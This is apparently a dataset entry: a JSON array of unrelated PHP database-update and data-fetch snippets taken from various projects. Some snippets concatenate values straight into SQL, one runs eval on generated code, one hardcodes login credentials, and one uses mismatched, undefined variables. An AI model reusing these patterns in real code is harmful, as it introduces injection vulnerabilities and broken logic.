[ "abstract public function updateData();", "public function updateData()\n {\n return ([\n [\"2\", \"9898989898\", \"pune\", 302, \"manager-records\"]\n ]);\n }", "public function getDataUpdate()\n {\n return $this->data_update;\n }", "public function updateMultiple_data()\n {\n \n }", "public function data(){\n\t\t$get_data = json_decode($_GET['data']);\n\t\t//update db\n\t\tforeach($get_data as $key=>$value){\n\t\t\t$data = array(\n\t\t\t\t'slide_order'=>$key+1,\n\t\t\t);\n\t\t\t$this->slide_model->update($value->id,$data);\n\t\t}\n\t}", "function getUpdatedata()\r\n\t{\r\n\r\n\t\t$elsettings = ELAdmin::config();\r\n\r\n\t\tinclude_once(JPATH_COMPONENT_ADMINISTRATOR.DS.'classes'.DS.'Snoopy.class.php');\r\n\r\n\t\t$snoopy = new Snoopy();\r\n\r\n\t\t//set the source file\r\n\t\t$file = 'http://update.schlu.net/elupdate.php';\r\n\r\n\t\t$snoopy->read_timeout \t= 30;\r\n\t\t$snoopy->agent \t\t\t= \"Mozilla/5.0 (compatible; Konqueror/3.2; Linux 2.6.2) (KHTML, like Gecko)\";\r\n\r\n\t\t$snoopy->fetch($file);\r\n\r\n\t\t$_updatedata = null;\r\n\r\n\t\tif ($snoopy->status != 200 || $snoopy->error) {\r\n\r\n\t\t\t$_updatedata->failed = 1;\r\n\r\n\t\t} else {\r\n\r\n\t\t\t$data = explode('|', $snoopy->results);\r\n\r\n\t\t\t$_updatedata->version \t\t= $data[0];\r\n\t\t\t$_updatedata->versiondetail\t= $data[1];\r\n\t\t\t$_updatedata->date\t\t\t= strftime( $elsettings->formatdate, strtotime( $data[2] ) );\r\n\t\t\t$_updatedata->info \t\t\t= $data[3];\r\n\t\t\t$_updatedata->download \t\t= $data[4];\r\n\t\t\t$_updatedata->notes\t\t\t= $data[5];\r\n\t\t\t$_updatedata->changes \t\t= explode(';', $data[6]);\r\n\t\t\t$_updatedata->failed \t\t= 0;\r\n\r\n\t\t\t$_updatedata->current = version_compare( '1.0.1', $_updatedata->version );\r\n\r\n\t\t}\r\n\r\n\t\treturn $_updatedata;\r\n\t}", "public function getUpdateProductData();", "public function update()\n {\n return [\n [self::DRUSH, 'updatedb']\n ];\n }", "function updateData($table,$data,$id){\n\t\treturn $this->db->update($table,$data,$id);\n\t}", "public function reload() {\n\t\t$bucket = $this->bucket();\n\t\t$r = $bucket->get($this->_key);\n\t\treturn $this->update($r->data);\n\t}", "public function getData() {\n return array_merge($this->data, $this->updates);\n }", "public function getUpdateValues(): array;", "function update_data($data_update_item) {\n\t}", "public function updateData(array $data);", "public function updateData( ){\n\t\t$fnName = \"getId\";\n\t\t$_id = -1;\n\t\t$result = -1;\n\t\t\n\t\tforeach(get_class_methods( $this ) as $id => $vl){\n\t\t\tif( strtolower( $vl ) == strtolower( $fnName ) ){\n\t\t\t\t$_id = $this->$fnName();\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(!is_numeric($_id)){\n\t\t\treturn $result;\n\t\t}\n\t\t\n\t\tif( $_id > 0 ){\n\t\t\t$_nombre = get_class( $this ) ;\n\t\t\t$valores = array();\n\t\n\t\t\t$stmt = null;\n\t\t\t$query = \"SELECT * FROM \" . strtolower( $_nombre ) . \" limit 1\";\n\t\t\tif ($stmt = self::$lnk->prepare($query)) {\n\t\t\t\t$meta = $stmt->result_metadata();\n\t\t\t\twhile ($field = $meta->fetch_field()) {\n\t\t\t\t\t$nmF = $field->name;\n\t\t\t\t\tif( strtolower( $nmF ) != \"id\" ){\n\t\t\t\t\t\t$tmpVl = $this->{ \"get\" . Singleton::toCap( $nmF )}( );\n\t\t\t\t\t\tif( strlen( $tmpVl ) > 0 ){\n\t\t\t\t\t\t\t$valores[ $nmF ] = $tmpVl;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$valores[\"id\"] = $_id;\t// Se agrega el valor del id como último valor\n\t\t\t\t$stmt->close();\n\t\t\t}else {\n\t \t$this->mensaje_error = self::$lnk->error;\n\t\t\t\treturn $result; \n\t }\n\t\t\t\n\t if( sizeof( $valores ) > 0 ){\t \n\t\t\t\t$stmt = null;\n\t\t\n\t\t\t\t$keys = array();\n\t\t\t\t$values = array();\t\t\t\t\n\t\t\t\tforeach($valores as $k => $v) {\n\t\t\t\t\tif( $k != \"id\" ){\n\t\t\t\t\t\t$keys[] = $k . \"=?\";\n\t\t\t\t\t}\n\t\t\t\t\t$values[] = !empty($v) ? $v : null;\n\t\t\t\t}\n\t\t\t\t$query = 'UPDATE ' . strtolower( $_nombre ) . ' SET ' . implode(', ', $keys) . ' where id = ? ';\n\t\t\t\t$stmt = self::$lnk->prepare($query);\n\t\t\t\t\n\t\t\t\tif( $stmt === false ){\n\t\t\t\t\t$this->mensaje_error = self::$lnk->error;\n\t\t\t\t\treturn $result;\n\t\t\t\t}else{\n\t\t\t\t\t$params = array();\n\t\t\t\t\tforeach ($valores as &$value) {\n\t\t\t\t\t\t$params[] = &$value;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$types = array(str_repeat('s', count($params)-1) . \"i\"); \n\t\t\t\t\t$values = array_merge($types, $params);\n\t\t\t\t\t\n\t\t\t\t\tcall_user_func_array(array($stmt, 'bind_param'), $values);\n\t\t\t\t\t$success = $stmt->execute();\n\t\t\t\t\tif (!$success) {\n\t\t\t \t$this->mensaje_error = self::$lnk->error;\n\t\t\t \t$stmt->close();\n\t\t\t\t\t\treturn $result; \n\t\t\t }\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$result = $stmt->affected_rows;\n\t\t $stmt->close();\n\t\t \n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn $result;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $result;\n\t}", "function updateData($data,$id)\n\t{\n\t\tdbIdReport('update','update Benefit',json_encode($data), 100);\n\t\t$this->db->where('ben_id', $id);\n\t\t$this->db->update($this->table, $data);\n\t\t$str = $this->db->last_query();\t\n\t\tlogConfig(\"update Benefit:$str\",'logDB');\n\t\t\n\t}", "public function update(array $data);", "public function update(array $data);", "public function update(array $data);", "public function update($data) {}", "public function update($data) {}", "public function fetch_update($param)\n\t{\n\t\t$query = \"SELECT * FROM tb_users WHERE id = :id\";\n\t\t$data = DB::connect()\n\t\t\t->query($query)\n\t\t\t->vars($param)\n\t\t\t->style(FETCH_ASSOC)\n\t\t\t->bind(BINDVAL)\n\t\t\t->fetch();\n\n\t\treturn $data;\n\t}", "public function update_data()\n {\n $token = $this->getAuthHeader();\n $data = $this->request->getJSON();\n\n //get data from token\n $result = $this->_checkToken( $token );\n\n if ( !isset( $result ) ) {\n $dataDB['status'] = \"error\";\n $dataDB['message'] = $this->db->error()['message'];\n $dataDB['data'] = \"\";\n\n return $this->respond( $dataDB, TOKEN_NOT_FOUND );\n }\n\n if ( $data->id == '-1' ) {\n unset($data->id);\n $data->active_flag = true;\n $data->create_date = date( DATE_FORMAT_YMDHMS );\n $data->create_user = $result->user_id;\n } else {\n $data->active_flag = true;\n $data->update_date = date( DATE_FORMAT_YMDHMS );\n $data->update_user = $result->user_id;\n }\n\n $my_date = explode(\"/\",$data->exam_date);\n\n if ( count($my_date) == 3 ) {\n $data->exam_date = $my_date[2].\"-\".$my_date[1].\"-\".$my_date[0];\n }\n $data->question_12 = ($this->calculateBMI($data->weight,$data->height) < 18.5) ? 1 : 0;\n $data->living_status = $this->getLivingStatus($data);\n $data->hypokinesia = $this->getHypokinesia($data);\n $data->decreased_nutrition = $this->getDecreasedNutrition($data);\n $data->deterioration_mouth = $this->getDeteriorationMouth($data);\n $data->withdrawal = $this->getWithdrawal($data);\n $data->forget = $this->getForget($data);\n $data->depression = $this->getDepression($data);\n $data->total_score = $this->getTotalScore($data);\n $data->frailty_judgment = $this->getFrailtyJudgment($data->total_score);\n\n $this->db->transStart();\n if ( $this->prgExaminersFraAModel->save($data) === false ) {\n $dataDB['status'] = \"error\";\n $dataDB['message'] = $this->prgExaminersFraAModel->errors();\n $dataDB['data'] = \"\";\n\n return $this->respond( $dataDB, HTML_STATUS_DB_ERROR );\n }\n\n $this->db->transComplete();\n\n $dataDB['status'] = \"success\";\n $dataDB['message'] = \"\";\n $dataDB['data'] = $data;\n\n return $this->respond( $dataDB, HTML_STATUS_SUCCESS );\n }", "public function DoUpdate()\n\t{\n\n\t\treturn db_update_records($this->fields, $this->tables, $this->values, $this->filters);\n\t}", "public function get_update_row($id){\n $database = new Database();\n $sql = \"SELECT * FROM \" . TABLE_NAME . \" WHERE \" . PRIMARY_KEY . \" = \"; \n $sql_bind = \":\" . PRIMARY_KEY;\n $sql .= $sql_bind; \n $database->query($sql);\n $database->bind($sql_bind,$id);\n $database->execute();\n $row = $database->single(); \t\n $this->mod_prep($row); // send the row to get preped\n }", "function wp_get_update_data()\n {\n }", "public function refresh() {\n $data = self::getWhere($this->_getPKValue(), TRUE, FALSE);\n if (!empty($data) && is_array($data)) {\n $this->_setData($data);\n return TRUE;\n }\n \n return FALSE;\n \n }", "public function testUpdateServiceData()\n {\n\n }", "function Update()\n\t{\n\t\tglobal $dal_info;\n\t\t\n\t\t$tableinfo = &$dal_info[ $this->infoKey ];\n\t\t$updateParam = \"\";\n\t\t$updateValue = \"\";\n\t\t$blobs = array();\n\n\t\tforeach($tableinfo as $fieldname => $fld)\n\t\t{\n\t\t\t$command = 'if(isset($this->'.$fld['varname'].')) { ';\n\t\t\tif( $fld[\"key\"] )\n\t\t\t\t$command.= '$this->Param[\\''.escapesq($fieldname).'\\'] = $this->'.$fld['varname'].';';\n\t\t\telse\n\t\t\t\t$command.= '$this->Value[\\''.escapesq($fieldname).'\\'] = $this->'.$fld['varname'].';';\n\t\t\t$command.= ' }';\n\t\t\t\n\t\t\teval($command);\n\t\t\t\n\t\t\tif( !$fld[\"key\"] && !array_key_exists( strtoupper($fieldname), array_change_key_case($this->Param, CASE_UPPER) ) )\n\t\t\t{\n\t\t\t\tforeach($this->Value as $field => $value)\n\t\t\t\t{\n\t\t\t\t\tif( strtoupper($field) != strtoupper($fieldname) )\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\n\t\t\t\t\t$updateValue.= $this->_connection->addFieldWrappers( $fieldname ).\"=\".$this->PrepareValue($value, $fld[\"type\"]) . \", \";\n\t\t\t\t\t\n\t\t\t\t\tif( $this->_connection->dbType == nDATABASE_Oracle || $this->_connection->dbType == nDATABASE_DB2 || $this->_connection->dbType == nDATABASE_Informix )\n\t\t\t\t\t{\n\t\t\t\t\t\tif( IsBinaryType( $fld[\"type\"] ) )\n\t\t\t\t\t\t\t$blobs[ $fieldname ] = $value;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif( $this->_connection->dbType == nDATABASE_Informix && IsTextType( $fld[\"type\"] ) )\t\n\t\t\t\t\t\t\t$blobs[ $fieldname ] = $value;\t\t\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tforeach($this->Param as $field=>$value)\n\t\t\t\t{\n\t\t\t\t\tif( strtoupper($field) != strtoupper($fieldname) )\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\n\t\t\t\t\t$updateParam.= $this->_connection->addFieldWrappers( $fieldname ).\"=\".$this->PrepareValue($value, $fld[\"type\"]) . \" and \";\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//\tconstruct SQL and do update\t\n\t\tif ($updateParam)\n\t\t\t$updateParam = substr($updateParam, 0, -5);\n\t\tif ($updateValue)\n\t\t\t$updateValue = substr($updateValue, 0, -2);\n\t\t\t\n\t\tif ($updateValue && $updateParam)\n\t\t{\n\t\t\t$dalSQL = \"update \".$this->_connection->addTableWrappers( $this->m_TableName ).\" set \".$updateValue.\" where \".$updateParam;\n\t\t\t$this->Execute_Query($blobs, $dalSQL, $tableinfo);\n\t\t}\n\n\t\t//\tcleanup\n\t\t$this->Reset();\n\t}", "function fetch_data_old()\n\t{\n\t\treturn $this->data_old;\n\t}", "abstract function getdata();", "private function getData()\n {\n if (!$this->dataLoaded) {\n $this->refreshData();\n $this->dataLoaded = true;\n }\n }", "public function fetchUpdates()\n\t{\n\t}", "public function update();", "public function update();", "public function update();", "public function update();", "public function get_data();", "public function getUpdated();", "public function getUpdated();", "function refine_existing_data() {\n /* get all the data from the master table */\n $datas = RefineData::getMasterData();\n foreach ($datas as $data) {\n /* refine data from Google API and get the details */\n $add = geo2address($data->lat, $data->lang);\n /* update the address, district , state */\n if (!RefineData::updateDetails($data->id, json_encode($add))) {\n ScreenMessage::setMessage(\"Error Occured\", ScreenMessage::MESSAGE_TYPE_ERROR);\n }\n }\n ScreenMessage::setMessage(\"All is Well\", ScreenMessage::MESSAGE_TYPE_SUCCESS);\n}", "protected function update() {}", "function rangePOUpdate($start,$data) {\n $this->db->where('START_RANGE',$start);\n return $this->db->update($this->table, $data);\n }", "public function reloadData(){\n $this->load->model('ModelPendaftaran');\n\n //QUERY ARTIKEL ADMIN\n $data = $this->ModelPendaftaran->queryAllData();\n echo json_encode($data);\n }", "abstract protected function update ();", "function update_vvrecusers() {\n\t\t$updt = $this->query_AS400(\"select * from (select clirs1, clirs2,clizk6 from pgmcomet/cophycli where stgrp='1' and stdos='399')a inner join (select * from vvbase/vvrecusers )b on upper(a.clirs1)=upper(b.nom) and upper(a.clirs2)=upper(b.prenom)\");\n\t\t//$updt = $this->query_AS400(\"select * from (select clirs1, clirs2,clizk6 from pgmcomet/cophycli where stgrp='1' and stdos='399')a inner join (select * from vvbase/vvrecusers )b on trim(a.clizk6)=trim(b.numfid)\");\n\n\t\t$connection_parameters = array(I5_OPTIONS_JOBNAME=>'I5JOB',I5_OPTIONS_INITLIBL=>'PGMCOMET',I5_OPTIONS_LOCALCP=>'UTF-8;ISO8859-1'); //i5_OPTIONS_IDLE_TIMEOUT=>120,I5_OPTIONS_LOCALCP=>'CCSID'\n\t\tif ($conn_updt = @i5_connect ( '127.0.0.1', 'hdh', 'hdh', $connection_parameters )) {\n\n\n\n\n\n\t\t\ti5_transaction(I5_ISOLEVEL_NONE,$conn_updt);\n\n\t\t\t//$res = array();\n\t\t\tfor ($i=0;$i<count($updt);$i++) {\n\n\t\t\t\t@i5_query(\"UPDATE VVBASE/VVRECUSERS SET NUMFID='\".$updt[$i][\"CLIZK6\"].\"' WHERE UPPER(NOM)='\".strtoupper($updt[$i][\"CLIRS1\"]).\"' AND UPPER(PRENOM)='\".strtoupper($updt[$i][\"CLIRS2\"]).\"'\");\n\t\t\t\t//array_push($res,\"UPDATE VVBASE/VVRECUSERS SET NUMFID='\".$updt[$i][\"CLIZK6\"].\"' WHERE UPPER(NOM)='\".strtoupper($updt[$i][\"CLIRS1\"]).\"' AND UPPER(PRENOM)='\".strtoupper($updt[$i][\"CLIRS2\"]).\"'\");\n\t\t\t}\n\n\n\t\t\t$result = !(i5_commit($conn_updt));\n\n\t\t\tif (!i5_close($conn_updt)) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\treturn $result;\n\t\t}\n\t}", "private function _runSensorDataUpdate()\n {\n $proccessedData = array();\n $query = \"\n SELECT\n `f_station_code`,`f_name`\n FROM\n `\" . DBT_PREFIX . \"station_info`\n WHERE\n `enable_station` = 1\n \";\n sql_select($query, $results);\n while($row = mysql_fetch_object($results))\n {\n if($this->_forcedStartingDate != false)\n {\n $getFromDate = $this->_forcedStartingDate;\n }else\n {\n $stationSensorsDataHistoryExists = $this->_stationSensorsDataHistoryExists($row->f_station_code);\n if($stationSensorsDataHistoryExists)\n {\n $stationSensorsDataHistoryExists = $stationSensorsDataHistoryExists - FIELDCLIMATE_DOWNLOAD_ROLLBACK;\n }else\n {\n $stationSensorsDataHistoryExists = strtotime('1 months ago midnight');\n }\n $getFromDate = date('Y-m-d\\TH:i:s', $stationSensorsDataHistoryExists);\n }\n if($getFromDate)\n {\n $this->_proccessOutput(\"Station \" . $row->f_station_code . \" updating from \" . $getFromDate); //date(DATE_ATOM,$stationSensorsDataHistoryExists)\n $this->_stationName = $row->f_name;\n $this->_dateFrom = $getFromDate;\n $remote_uri = $this->_buildCurlRequest('Get_Data_From_Date');\n $remoteJson = $this->_executeFcCurl($remote_uri);\n $this->_proccessOutput($remote_uri);\n if(isset($remoteJson->ReturnParams->max_date) && $remoteJson->ReturnParams->max_date >= $getFromDate)\n {\n $max_date = $remoteJson->ReturnParams->max_date;\n $next_date_row = $this->_updateSensorsData($row->f_station_code, $remoteJson->ReturnParams->max_date, $remoteJson);\n while((strtotime(preg_replace(\"#[A-Z]#i\", \" \", $next_date_row)) < strtotime(preg_replace(\"#[A-Z]#i\", \" \", $max_date))) && ($next_date_row !== false))\n {\n $this->_dateFrom = $next_date_row;\n $remote_uri = $this->_buildCurlRequest('Get_Data_From_Date');\n $remoteJson = $this->_executeFcCurl($remote_uri);\n $next_date_row = $this->_updateSensorsData($row->f_station_code, $remoteJson->ReturnParams->max_date, $remoteJson);\n }\n }else\n {\n $proccessedData[] = $remoteJson;\n }\n }else\n {\n die('no starting date date assigned');\n }\n }\n //return $out;\n }", "abstract protected function getAllUpdates();", "static public function getUpdates(&$data) {\n $data['wire_updates'] = DB::table('wires')\n ->leftJoin('users', 'wires.changed_by', '=', 'users.id')\n ->leftjoin('merchants', 'wires.merchant_id', '=', 'merchants.id')\n ->leftjoin('banks', 'wires.sent_to_bank', '=', 'banks.id')\n ->leftjoin('currencys', 'wires.currency', '=', 'currencys.id')\n ->select('wires.*', 'users.name as user_name', 'users.lastname as user_lastname', 'merchants.name as merch_name', 'banks.name as bank_name', 'currencys.name as currency_name')\n ->get();\n $data['merchant_updates'] = DB::table('merchants')\n ->leftJoin('users', 'merchants.changed_by', '=', 'users.id')\n ->select('merchants.*', 'users.name as user_name', 'users.lastname as user_lastname')\n ->get();\n foreach ($data['merchant_updates'] as $merch) {\n $currency_arr = explode(',', $merch->available_currencies);\n $data['merch_currency'][$merch->id] = DB::table('currencys')\n ->whereIn('id', $currency_arr)\n ->get();\n $bank_arr = explode(',', $merch->available_banks);\n $data['merch_bank'][$merch->id] = DB::table('banks')\n ->whereIn('banks.id', $bank_arr)\n ->get();\n }\n /* Get name of user who made update, not user's name by it's ID */\n $data['user_updates'] = DB::table('users')->get();\n \n $data['bank_updates'] = DB::table('banks')\n ->leftJoin('users', 'banks.changed_by', '=', 'users.id')\n ->select('banks.*', 'users.name as user_name', 'users.lastname as user_lastname')\n ->get();\n }", "public function updateData(){\n try{\n $this->dbConnection->query($this->query);\n $this->message = $this->moduleName.' Successfully Updated';\n $this->data = array();\n $this->data['id'] = $this->dbConnection->lastInsertId();\n $this->sendJSONResponse();\n \n }catch( PDOException $ex ) {\n $this->message = 'Error storing '.$this->moduleName.' :'. $ex->getMessage();\n $this->sendJSONErrorReponse();\n }\n }", "public function updateData()\n {\n try {\n// echo \"<pre>\";\n// print_r($this->where);\n// print_r($this->insertUpdateArray);\n// exit;\n DB::table($this->dbTable)\n ->where($this->where)\n ->update($this->insertUpdateArray);\n } catch (Exception $ex) {\n throw new Exception($ex->getMessage(), 10024, $ex);\n }\n }", "public function db_update() {}", "public function update(array $data)\n\t{\n\t\t$ret = parent::update($data);\n\t\t//debug($this->db->lastQuery);\n\t\t$this->originalData = $this->data;\n\t\t$this->stateHash = $this->getStateHash();\n\t\treturn $ret;\n\t}", "abstract public function update();", "abstract public function update();", "public function get_data(){\n // $id = 2;\n // $stmt = $this->verivied()->prepare(\"SELECT * FROM emptab WHERE id= :id\");\n // $stmt->bindParam(':id', $id);\n // $stmt->execute();\n // $data = $stmt->fetchAll(PDO::FETCH_ASSOC);\n // return $data;\n // select by id;\n $data1 = $this->Xgen->select('id,nama')->from('emptab')->where('id = :id', 4)->go();\n // select all;\n //$data = $this->Xgen->select('id,nama')->from('emptab')->go();\n // inser data\n // $data = $this->Xgen->insert_query('emptab',[\n // 'nama' => 'bxel'\n // ])->go();\n //update data\n //$data = $this->Xgen->update_query('emptab', ['nama' => 'new name'])->where('id = :id', 4)->go();\n //DELETE\n //$data1 = $this->Xgen->delete('emptab','id = :id',4)->go();\n\n }", "public function update($gunBbl);", "function update($comp) {\n\t\t\t$result = array();\n\t\t\t$number_compra = $comp->getNumber_compra();\n\t\t\t$localComprado = $comp->getLocalComprado();\n\t\t\t$dataCompra = $comp->getDataCompra();\n\n\t\t\ttry {\n\t\t\t\t$query = \"UPDATE Compras SET localcomprado = '$LocalComprado', datacompra = '$DataCompra' WHERE number_compra=$Number_compra\";\n\n\t\t\t\t$con = new Connection();\n\n\t\t\t\t$status = Connection::getInstance()->prepare($query);\n\n\t\t\t\tif($status->execute()){\n\t\t\t\t\t$result = $comp;\n\t\t\t\t}else{\n\t\t\t\t\t$result[\"erro\"] = \"Erro ao atualizar essa compra\";\n\t\t\t\t}\n\n\t\t\t\t$con = null;\n\t\t\t}catch(PDOException $e) {\n\t\t\t\t$result[\"err\"] = $e->getMessage();\n\t\t\t}\n\n\t\t\treturn $result;\n\t\t}", "public function update() {\r\n\r\n\t}", "private function updatebivapoints(){\n\t\t$Note='Referred '.$this->session->userdata('referemail').' And earned 100 Biva Points.';\n\t\t$this->db->where('ReferedTo', $this->session->userdata('referemail'));\n\t\t$this->db->where('UniqueKey', $this->session->userdata('referkey'));\n\t\t$object=array(\n\t\t\t'EarnedPotint' => 100,\n\t\t\t'UniqueKey' => null,\n\t\t\t'Note' => $Note\n\t\t);\n\t\t$this->db->update('tbl_bvpoint_data', $object);\n\t}", "public function update($data){\n\t\t\t$this->name=trim($data['name']);\n\t\t\t$this->rfid=trim($data['rfid']);\n\t\t\t$this->updated_at=date('Y/m/d H:i:s');\n\t\t\t$this->id=$data['id'];\n\t\t\ttry {\n\t\t\t\t$connect = Database::connect();\n\t\t\t\t$query='UPDATE vehicles SET name = :name, rfid=:rfid, updated_at=:updated_at WHERE id = :id';\n\t\t\t\t$statement = $connect->prepare($query);\n\t\t\t\t$statement->bindParam(':id', $this->id); \n\t\t $statement->bindParam(':name', $this->name);\n\t\t $statement->bindParam(':rfid', $this->rfid);\n\t\t $statement->bindParam(':updated_at', $this->updated_at);\n\t\t return $statement->execute();\n\t\t\t} catch (\\Exception $e) {\n\t\t\t\techo $e;\n\t\t\t}\n\t\t}", "public abstract function update();", "private function cObjData_updateRow( $uid )\n {\n static $firstVisit = true;\n\n // RETURN: empty row\n if ( empty( $this->rows[ $uid ] ) )\n {\n return;\n }\n // RETURN: empty row\n // Add each element of the row to cObj->data\n foreach ( ( array ) $this->rows[ $uid ] as $key => $value )\n {\n $this->pObj->cObj->data[ $key ] = $value;\n }\n\n // Add the field uid with the uid of the current row\n $key = $this->sql_filterFields[ $this->curr_tableField ][ 'uid' ];\n $value = $this->rows[ $uid ][ $key ];\n $this->pObj->cObj->data[ 'uid' ] = $value;\n\n // Add the field value with the value of the current row\n $key = $this->sql_filterFields[ $this->curr_tableField ][ 'value' ];\n $value = $this->rows[ $uid ][ $key ];\n $this->pObj->cObj->data[ 'value' ] = $value;\n\n // Add the field hits with the hits of the filter item\n $key = $this->sql_filterFields[ $this->curr_tableField ][ 'hits' ];\n $value = $this->rows[ $uid ][ $key ];\n $this->pObj->cObj->data[ 'hits' ] = $value;\n//$this->pObj->dev_var_dump( $this->pObj->cObj->data['hits'] );\n // Add the field rowNumber with the number of the current row\n $key = $this->pObj->prefixId . '.rowNumber';\n $value = $this->itemsPerHtmlRow[ 'currItemNumberInRow' ];\n\n // DRS\n if ( $firstVisit && $this->pObj->b_drs_cObjData )\n {\n foreach ( ( array ) $this->pObj->cObj->data as $key => $value )\n {\n $arr_prompt[] = '\\'' . $key . '\\' => \\'' . $value . '\\'';\n }\n $prompt = 'cObj->data of the first row: ' . implode( '; ', ( array ) $arr_prompt );\n t3lib_div::devlog( '[OK/COBJ] ' . $prompt, $this->pObj->extKey, -1 );\n }\n // DRS\n\n $firstVisit = false;\n }", "public function update($data)\n {\n }", "public function update($data)\n {\n }", "public function update($data)\n {\n }", "public function update($data)\n {\n }", "function LoadMultiUpdateValues() {\r\n\t\t$this->CurrentFilter = $this->GetKeyFilter();\r\n\r\n\t\t// Load recordset\r\n\t\tif ($this->Recordset = $this->LoadRecordset()) {\r\n\t\t\t$i = 1;\r\n\t\t\twhile (!$this->Recordset->EOF) {\r\n\t\t\t\tif ($i == 1) {\r\n\t\t\t\t\t$this->Nro_Serie->setDbValue($this->Recordset->fields('Nro_Serie'));\r\n\t\t\t\t\t$this->SN->setDbValue($this->Recordset->fields('SN'));\r\n\t\t\t\t\t$this->Cant_Net_Asoc->setDbValue($this->Recordset->fields('Cant_Net_Asoc'));\r\n\t\t\t\t\t$this->Id_Marca->setDbValue($this->Recordset->fields('Id_Marca'));\r\n\t\t\t\t\t$this->Id_Modelo->setDbValue($this->Recordset->fields('Id_Modelo'));\r\n\t\t\t\t\t$this->Id_SO->setDbValue($this->Recordset->fields('Id_SO'));\r\n\t\t\t\t\t$this->Id_Estado->setDbValue($this->Recordset->fields('Id_Estado'));\r\n\t\t\t\t\t$this->User_Server->setDbValue($this->Recordset->fields('User_Server'));\r\n\t\t\t\t\t$this->Pass_Server->setDbValue($this->Recordset->fields('Pass_Server'));\r\n\t\t\t\t\t$this->User_TdServer->setDbValue($this->Recordset->fields('User_TdServer'));\r\n\t\t\t\t\t$this->Pass_TdServer->setDbValue($this->Recordset->fields('Pass_TdServer'));\r\n\t\t\t\t\t$this->Cue->setDbValue($this->Recordset->fields('Cue'));\r\n\t\t\t\t\t$this->Fecha_Actualizacion->setDbValue($this->Recordset->fields('Fecha_Actualizacion'));\r\n\t\t\t\t\t$this->Usuario->setDbValue($this->Recordset->fields('Usuario'));\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (!ew_CompareValue($this->Nro_Serie->DbValue, $this->Recordset->fields('Nro_Serie')))\r\n\t\t\t\t\t\t$this->Nro_Serie->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->SN->DbValue, $this->Recordset->fields('SN')))\r\n\t\t\t\t\t\t$this->SN->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Cant_Net_Asoc->DbValue, $this->Recordset->fields('Cant_Net_Asoc')))\r\n\t\t\t\t\t\t$this->Cant_Net_Asoc->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Id_Marca->DbValue, $this->Recordset->fields('Id_Marca')))\r\n\t\t\t\t\t\t$this->Id_Marca->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Id_Modelo->DbValue, $this->Recordset->fields('Id_Modelo')))\r\n\t\t\t\t\t\t$this->Id_Modelo->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Id_SO->DbValue, $this->Recordset->fields('Id_SO')))\r\n\t\t\t\t\t\t$this->Id_SO->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Id_Estado->DbValue, $this->Recordset->fields('Id_Estado')))\r\n\t\t\t\t\t\t$this->Id_Estado->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->User_Server->DbValue, $this->Recordset->fields('User_Server')))\r\n\t\t\t\t\t\t$this->User_Server->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Pass_Server->DbValue, $this->Recordset->fields('Pass_Server')))\r\n\t\t\t\t\t\t$this->Pass_Server->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->User_TdServer->DbValue, $this->Recordset->fields('User_TdServer')))\r\n\t\t\t\t\t\t$this->User_TdServer->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Pass_TdServer->DbValue, $this->Recordset->fields('Pass_TdServer')))\r\n\t\t\t\t\t\t$this->Pass_TdServer->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Cue->DbValue, $this->Recordset->fields('Cue')))\r\n\t\t\t\t\t\t$this->Cue->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Fecha_Actualizacion->DbValue, $this->Recordset->fields('Fecha_Actualizacion')))\r\n\t\t\t\t\t\t$this->Fecha_Actualizacion->CurrentValue = NULL;\r\n\t\t\t\t\tif (!ew_CompareValue($this->Usuario->DbValue, $this->Recordset->fields('Usuario')))\r\n\t\t\t\t\t\t$this->Usuario->CurrentValue = NULL;\r\n\t\t\t\t}\r\n\t\t\t\t$i++;\r\n\t\t\t\t$this->Recordset->MoveNext();\r\n\t\t\t}\r\n\t\t\t$this->Recordset->Close();\r\n\t\t}\r\n\t}", "abstract function update();", "public function index()\n {\n return $this->update();\n }", "public function get_data()\n\t\t{\t\t// Should there be a common method for this?\n\t\t}", "abstract public function update(string $identifier, array $data): array;", "public function updateData($data){\n\t\t// $this->db->query($query);\n\t\t// $this->db->bind('deptId',$data['deptId']);\n\t\t// $this->db->bind('deptName',$data['deptName']);\n\t\t// $this->db->execute();\n\n\t\t// return $this->db->rowCount();\n\t}", "function update_data($table,$col,$id,$data,$cn){\n $str=\"update `$table` set \";\n $cnt=1;\n foreach($data as $key=>$value){\n $str.=\"`$key`='\".addslashes($value).\"'\";\n if($cnt++<count($data))\n $str.=\",\";\n }\n $str.=\" where {$col}=$id\";\n $cn->query($str);\n\n }", "static function db_update($table, $data, $wheredata, $with_log = true)\n {\n global $db, $user_info;\n $record_rs = static::db_view($table, \"*\", $wheredata);\n $record = $db->sql_fetchrow($record_rs);\n \n $sql = static::sql_to_update($table, $data, $wheredata);\n $rs = $db->sql_query($sql);\n if ($rs == false) \n {\n $error = $db->sql_error(); \n $error[\"sql\"] = $sql;\n \n if (static::$bao_loi_admin && function_exists(\"is_admin\") && is_admin()) 